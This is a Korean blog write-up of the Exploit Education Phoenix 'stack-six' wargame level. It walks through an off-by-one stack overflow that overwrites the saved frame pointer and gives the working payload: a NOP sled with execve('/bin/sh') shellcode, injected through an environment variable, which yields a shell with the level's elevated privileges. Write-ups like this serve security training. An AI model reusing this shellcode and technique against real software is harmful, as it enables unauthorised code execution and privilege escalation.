1. intro
2. code 및 분석
2.1. C code
/*
* phoenix/stack-six, by https://exploit.education
*
* Can you execve("/bin/sh", ...) ?
*
* Why do fungi have to pay double bus fares? Because they take up too
* mushroom.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *what = GREET;
char *greet(char *who) {
char buffer[128];
int maxSize;
maxSize = strlen(who);
if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
maxSize = sizeof(buffer) - 1;
}
strcpy(buffer, what);
strncpy(buffer + strlen(buffer), who, maxSize);
return strdup(buffer);
}
int main(int argc, char **argv) {
char *ptr;
printf("%s\n", BANNER);
#ifdef NEWARCH
if (argv[1]) {
what = argv[1];
}
#endif
ptr = getenv("ExploitEducation");
if (NULL == ptr) {
// This style of comparison prevents issues where you may accidentally
// type if(ptr = NULL) {}..
errx(1, "Please specify an environment variable called ExploitEducation");
}
printf("%s\n", greet(ptr));
return 0;
}
2.2. 분석
main 함수에서 ExploitEducation 환경변수 값을 받아와서 비어있으면 오류 메시지 출력 후 종료한다.
아니라면 greet 함수를 실행한다.
greet 함수 내에서 환경변수의 크기를 확인하며,
buffer 변수에는 GREET 문자열을,
(코드 상 GREET 라고 되어있으나 실제로는 "Welcome, I am pleased to meet you " 문자열임)
buffer + "buffer 크기" 위치에는 buffer 변수의 크기 - 1 만큼 환경변수의 값을 복사한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
buffer 변수는 greet 함수의 rbp로부터 -160의 위치에 있다.
buffer 변수에 처음 넣는 GREET 문자열의 경우 마지막 스페이스를 포함하여 총 34 bytes이고,
user@phoenix-amd64:~$ python
>>> len("Welcome, I am pleased to meet you ")
34
여기에 buffer 변수의 크기 - 1인 127 bytes가 삽입되기에 총 161 bytes 가 삽입되어 1 byte overflow가 일어난다.
즉, main 함수로 돌아갔을 때의 rbp를 조작할 수 있다.
3.2. 공격 준비
취약점에 따라 rbp 조작된 이후 main 쪽을 보면
0x00000000004007e9 <+78>: mov %rax,%rdi
0x00000000004007ec <+81>: callq 0x400530 <puts@plt>
0x00000000004007f1 <+86>: mov $0x0,%eax
0x00000000004007f6 <+91>: leaveq
0x00000000004007f7 <+92>: retq
와 같고 rbp에 영향을 주는 어셈블러 코드는 없다.
greet 함수가 종료되기 직전 ebp 값을 보면 아래와 같다.
0x00007fffffffe610│+0x0000: 0x00007fffffffe640 → 0x0000000000000001 ← $rsp, $rbp
즉 rbp 값으로 사용 가능한 주소는 e600~e6ff 까지이다.
rip는 rbp + 8 bytes 위치의 값을 참고하기에 rbp 주소 주변에 buffer를 가르키는 주소를 찾아야겠다.
greet 함수가 종료되기 전 e600부터 전체 값을 확인해보았더니 아래와 같았다.
gef> x/40gx 0x00007fffffffe600
0x7fffffffe600: 0x00007fffffffe698 0x00007fffffffe698
0x7fffffffe610: 0x00007fffffffe640 0x00000000004007e9
0x7fffffffe620: 0x00007fffffffe698 0x00000001ffffe6a8
0x7fffffffe630: 0x000000000040079b 0x00007fffffffef87
0x7fffffffe640: 0x0000000000000001 0x00007ffff7d8fd62
0x7fffffffe650: 0x0000000000000000 0x00007fffffffe690
0x7fffffffe660: 0x0000000000000000 0x00007ffff7ffdbc8
0x7fffffffe670: 0x0400000100003e00 0x00000000004005c9
0x7fffffffe680: 0x0000000000000000 0x00000000004005a6
0x7fffffffe690: 0x0000000000000001 0x00007fffffffe89f
0x7fffffffe6a0: 0x0000000000000000 0x00007fffffffe8bc
0x7fffffffe6b0: 0x00007fffffffee78 0x00007fffffffeea3
0x7fffffffe6c0: 0x00007fffffffeeb8 0x00007fffffffeeca
0x7fffffffe6d0: 0x00007fffffffeed4 0x00007fffffffeeeb
0x7fffffffe6e0: 0x00007fffffffeef4 0x00007fffffffef04
0x7fffffffe6f0: 0x00007fffffffef21 0x00007fffffffef34
0x7fffffffe700: 0x00007fffffffef3f 0x00007fffffffef53
더불어 buffer 변수의 위치는 아래와 같다.
gef> grep aaaaaaaa
[+] Searching 'aaaaaaaa' in memory
[+] In '/opt/phoenix/amd64/stack-six'(0x600000-0x601000), permission=rwx
0x600c22 - 0x600c2b → "aaaaaaaa@"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
0x7fffffffe592 - 0x7fffffffe59b → "aaaaaaaa@"
0x7fffffffef87 - 0x7fffffffef8f → "aaaaaaaa"
위의 e600 ~ e6ff 내의 값 중에 shellcode의 주변 위치를 가진 값이 없기 때문에 추가로 다른 환경변수의 길이를 늘려주었고, 이를 통해 e500 ~ e5ff의 값을 사용할 수 있도록 셋팅하였다.
user@phoenix-amd64:~$ export EMAIL=`python -c 'print "B"*8'`
user@phoenix-amd64:~$ gdb /opt/phoenix/amd64/stack-six
...
gef> x/gx $rbp
0x7fffffffe5c0: 0x00007fffffffe638
gef> x/40gx 0x7fffffffe500
0x7fffffffe500: 0x00007ffff7ffc948 0x00007fffffffef10
0x7fffffffe510: 0x2c656d6f636c6557 0x6c70206d61204920
0x7fffffffe520: 0x6f74206465736165 0x6f79207465656d20
0x7fffffffe530: 0x9090909090902075 0x9090909090909090
0x7fffffffe540: 0x9090909090909090 0x9090909090909090
0x7fffffffe550: 0x9090909090909090 0x9090909090909090
0x7fffffffe560: 0x9090909090909090 0x9090909090909090
0x7fffffffe570: 0x9090909090909090 0x9090909090909090
0x7fffffffe580: 0x9090909090909090 0x9090909090909090
0x7fffffffe590: 0x9090909090909090 0x48f63148d2314850
0x7fffffffe5a0: 0x732f2f6e69622fbb 0x050f3bb05f545368
0x7fffffffe5b0: 0x00007fffffffe5c0 0x00000000004007e9
0x7fffffffe5c0: 0x00007fffffffe638 0x00000001ffffe648
0x7fffffffe5d0: 0x000000000040079b 0x00007fffffffef10
0x7fffffffe5e0: 0x0000000000000001 0x00007ffff7d8fd62
0x7fffffffe5f0: 0x0000000000000000 0x00007fffffffe630
0x7fffffffe600: 0x0000000000000000 0x00007ffff7ffdbc8
0x7fffffffe610: 0x0400000100003e00 0x00000000004005c9
0x7fffffffe620: 0x0000000000000000 0x00000000004005a6
0x7fffffffe630: 0x0000000000000001 0x00007fffffffe833
4. exploit
shellcode는 아래에서 찾았다.
Linux/x64 - execve(/bin/sh) Shellcode (24 bytes) - Linux_x86-64 shellcode Exploit (exploit-db.com)
위를 토대로 greet 함수 종료 후 돌아올 rbp 위치를 다시 설정하였고 아래와 같이 gdb에서 성공.
user@phoenix-amd64:~$ export ExploitEducation=`python -c 'print "\x90"*(127-24-1) + "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05" + "\xd0"'`
user@phoenix-amd64:~$ gdb /opt/phoenix/amd64/stack-six
gef> r
Starting program: /opt/phoenix/amd64/stack-six
...
$ id
sh: 1: PuTTYid: not found
$ id
[Detaching after fork from child process 320]
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)
하지만 실제 파일에서 성공하지 못했다.
gdb 기본 환경 변수에 따른 offset이 변경되었을 것으로 예상하여 MAIL 환경 변수의 길이를 늘려주며 다시 시도
user@phoenix-amd64:~$ /opt/phoenix/amd64/stack-six Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome, I am pleased to meet you ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒PH1▒H1▒H▒/bin//shST_▒;▒▒▒▒PuTTY
Segmentation fault
user@phoenix-amd64:~$ export EMAIL=`python -c 'print "B"*(8+8)'` user@phoenix-amd64:~$ /opt/phoenix/amd64/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome, I am pleased to meet you ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒PH1▒H1▒H▒/bin//shST_▒;▒▒▒▒
PuTTYSegmentation fault
user@phoenix-amd64:~$ export EMAIL=`python -c 'print "B"*(8+8+8)'`
user@phoenix-amd64:~$ /opt/phoenix/amd64/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome, I am pleased to meet you ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒PH1▒H1▒H▒/bin//shST_▒;▒▒▒▒PuTTY id
uid=1000(user) gid=1000(user) euid=406(phoenix-amd64-stack-six) egid=406(phoenix-amd64-stack-six) groups=406(phoenix-amd64-stack-six),27(sudo),1000(user)
$
'Wargame > Exploit Education' 카테고리의 다른 글
[Phoenix] Format one (0) | 2022.09.29 |
---|---|
[Phoenix] Format zero (0) | 2022.09.28 |
[Phoenix] Stack five (0) | 2022.09.27 |
[Phoenix] Stack four (0) | 2022.09.27 |
[Phoenix] Stack three (0) | 2022.09.27 |